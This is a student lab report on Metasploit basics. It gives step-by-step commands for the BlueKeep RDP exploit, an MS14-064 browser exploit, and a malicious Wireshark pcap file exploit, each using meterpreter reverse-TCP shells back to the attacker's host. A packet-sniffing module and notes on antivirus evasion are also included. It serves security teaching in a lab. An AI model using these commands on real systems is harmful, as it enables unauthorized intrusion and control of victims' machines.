• Exp6 MSF应用基础


    20182213 Exp6 MSF应用基础

    1. 实验内容

    1.1一个主动攻击实践,尽量使用最新的类似漏洞;

    攻击方式:CVE-2019-0708

    靶机:Microsoft Windows win7 x64 SP1 profession

    1.1.1 漏洞介绍

    该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。这个漏洞是2019年来说危害严重性最大的漏洞。CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。如果被攻击者利用,会导致服务器入侵,中病毒,像WannaCry 永恒之蓝漏洞一样大规模的感染。2019年9月7日晚上凌晨1点左右,metaspolit更新了漏洞利用程序。在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。漏洞产生的原因是MS_T120信道被绑定两次(一次由RDPserver创建并绑定,第二次由我们发送数据包绑定)。由于信道绑定在两个不同的ID下,我们得到两个独立的引用。当使用其中的一个引用来关闭信道时,将删除该引用,信道对象也将释放。但是,另一个引用仍然存在。如果我们可以在第一次释放信道对象空间之后,通过内核POOL喷射,获得在该信道对象填充自定义数据的能力,在第二次调用IcaFreeChannel()进行空间释放时,由于该函数会引用已被控制的内核对象,就有机会造成读写任意内核地址进而达到任意代码执行的目的。

    支持系统:
    Windows XP for 32-bit Systems Service Pack 3
    Windows 7 for 32-bit Systems
    Windows 7 for x64-based Systems
    Windows 7 for 32-bit Systems Service Pack 1
    Windows 7 for x64-based Systems Service Pack 1
    Windows Server 2003 for 32-bit Systems Service Pack 2
    Windows Server 2003 R2 for 32-bit Systems Service Pack2
    Windows Server 2008 for 32-bit Systems Service Pack 2
    Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
    Windows Server 2008 for x64-based Systems Service Pack2
    Windows Server 2008 for x64-based Systems Service Pack2 (Server Core installation)
    Windows Server 2008 R2 for x64-based Systems ServicePack 1
    Windows Server 2008 R2 for x64-based Systems ServicePack 1 (Server Core installation)
    

    1.1.2 具体步骤

    1.1.2.1 安装win7虚拟机

    1.1.2.2 查看靶机ip

    1.1.2.3 关闭win7防火墙

    1.1.2.4 使用kali的metaspolit对漏洞进行利用

    1)启动metasploit

    2)搜索相关漏洞search cve_2019_0708

    3)选择攻击漏洞use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

    4)查看需要设置的内容show options

    5)输入靶机IPset RHOSTS 172.16.148.134

    6)对靶机扫描,看是否存在漏洞exploit ,可以看到存在该漏洞

    7)存在漏洞选择攻击方式use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

    8)输入靶机IPset RHOSTS 172.16.148.134

    9)使用vmware的演示set target 3,版本我使用的是苹果的vmware fusion对应版本发生变化

    10)进行攻击run,如果失败显示如下,可多运行几次

    11)win7出现蓝屏,永恒之蓝,kali中显示攻击完成但是并没有建立会话,可能是target设置不正确

    12)更换版本show targets标志有些不准确,我使用的是mac的vmware fusion12 版本,show targets的标识只有vm workstation的,此处我采用的是target 2,同时将set forceexploit true,设置成true,多试几次,成功获取win7主机的shell!

    1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;

    攻击方式:ms14_064

    Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。

    靶机:Microsoft Windows7 IE浏览器

    具体步骤:

    1.打开windows7对浏览器设置一下安全权限
    2.控制面板->Internet 选项->安全->自定义级别->对没有标记为安全的ActiveX进行启用

    3.高级->允许安装或运行软件,即使签名无效
    4.kali输入代码

    sudo msfconsole
    use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 
    set SRVHOST kali的ip //设置攻方
    set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效 
    set LHOST kali的ip
    set LPORT 1328//自己的学号 
    set target 1 //设置win7靶机 
    exploit //发起渗透攻击
    

    5.去靶机浏览器中输入URL生成代码

    6.执行网址后,回到kali中攻击,注意观察kali中返回数值,出现下图会话时,ctrl+c停止攻击

    7.输入sessions -i 1实施攻击,获取权限成功


    1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞

    攻击方式:WireShark1.4.2

    靶机:Windows 7

    具体步骤

    1. kali中输入代码

    use exploit/windows/fileformat/wireshark_packet_dect
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    show options   //查看设置项
    set LHOST 172.16.148.131 //kali IP
    set LPORT 2213 //设置攻击端口
    set FILENAME zy.pcap //设置生成的pcap文件名
    exploit //发起攻击
    

    2. 把生成的zy.pcap拷贝到靶机中

    3. 然后再回到kali输入以下代码

    use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    set LHOST 172.16.148.131 //kali IP
    set LPORT 2213 //设置攻击端口
    exploit //监听
    

    4. 在靶机中用wireshark打开zy这个文件

    5. 回到kali中,发现链接成功,测试一下,获得靶机权限成功,同时我尝试在xp靶机中运行该程序,在打开监听时打开虚拟机中的win7靶机可以直接获得win7靶机的权限

    1.4 成功利用任何一个辅助模块

    攻击方式:sniffer(嗅探),可以用这个来查看靶机的浏览记录

    靶机:Windows 7

    具体步骤

    1. 在kali的msfconsole中输入以下代码

    search sniff //看一下嗅探的攻击
    use auxiliary/sniffer/psnuffle //选择攻击操作
    show options
    exploit
    

    2. 去windows 7里访问一个网址

    3. kali中捕捉成功

    2. 问题回答

    2.1.基础问题回答

    (1)用自己的话解释什么是exploit,payload,encode.

    exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中,渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    payload相当于载荷,相当于我们之前实验的后门,exploit把它传送到靶机中后,它就负责执行相应的攻击代码,在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接
    encode是编码,主要是为了避免payload中坏字符影响功能,其次是为了伪装,不让杀毒软件很轻易的就发现payload是攻击代码。

    2.2.实践总结与体会

    本次实践花费大量时间依旧是在装机上面,大量的时间被花费,一开始在做第一个CVE0708的时候由于win7系统的3389端口一直由于被保护的原因没有打开,导致msf扫描的时候一直显示没有漏洞浪费了很多时间,后来搜索打开3389的方法,并修改注册表才得以打开该端口,扫描发现漏洞,本次实验疯狂体会装机的感觉对虚拟机的运用更加的娴熟亲切。

    2.3.离实战还缺些什么技术或步骤

    信息搜集,实践中我们可以掌握靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。并且还有掌握最新的漏洞信息,同时掌握靶机的系统版本,掌握它的补丁信息非常困难,一旦系统打过任何补丁,或者是让端口无法开放,即可导致无法进行攻击。
    其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,需要伪装和免杀处理。同时网页浏览器会自动检测签名证书等信息让攻击无法进行,非常困难。

  • 相关阅读:
    最近一周的日期选择设置
    使用两个 Windows 窗体 DataGridView 控件创建一个主/从窗体
    WCF使用小例子
    SQL Server中JOIN的用法
    C#设计模式(13)——代理模式(Proxy Pattern)
    SQL四种语言:DDL,DML,DCL,TCL
    Log4Net组件的应用详解
    JSP九大内置对象详解
    Objective-C:自定义Block函数
    C语言:指针的几种形式二
  • 原文地址:https://www.cnblogs.com/Mellivorac/p/14737502.html
Copyright © 2020-2023  润新知